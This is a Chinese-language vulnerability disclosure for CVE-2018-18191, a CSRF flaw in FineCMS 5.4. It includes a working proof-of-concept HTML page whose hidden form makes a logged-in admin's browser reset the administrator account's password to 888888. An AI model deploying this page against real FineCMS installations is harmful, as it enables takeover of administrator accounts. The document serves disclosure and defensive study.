CVE中文申请站

一、漏洞摘要

漏洞名称: Finecms_v5.4存在CSRF漏洞可修改管理员账户密码
上报日期: 2018-10-07
漏洞发现者: 踏月留香
产品首页: http://www.finecms.net/
软件链接: http://down.chinaz.com/soft/32596.htm
版本: 5.4
CVE编号: CVE-2018-18191


二、漏洞概述

恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。

三、利用代码

exp代码如下:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin.php?c=member&m=edit&uid=1" method="POST">
      <input type="hidden" name="page" value="0" />
      <input type="hidden" name="member&#91;email&#93;" value="admin&#64;163&#46;com" />
      <input type="hidden" name="member&#91;name&#93;" value="admin" />
      <input type="hidden" name="member&#91;phone&#93;" value="18888888888" />
      <input type="hidden" name="member&#91;password&#93;" value="888888" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/49/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18191
exploit-db:发布中

标签: CSRF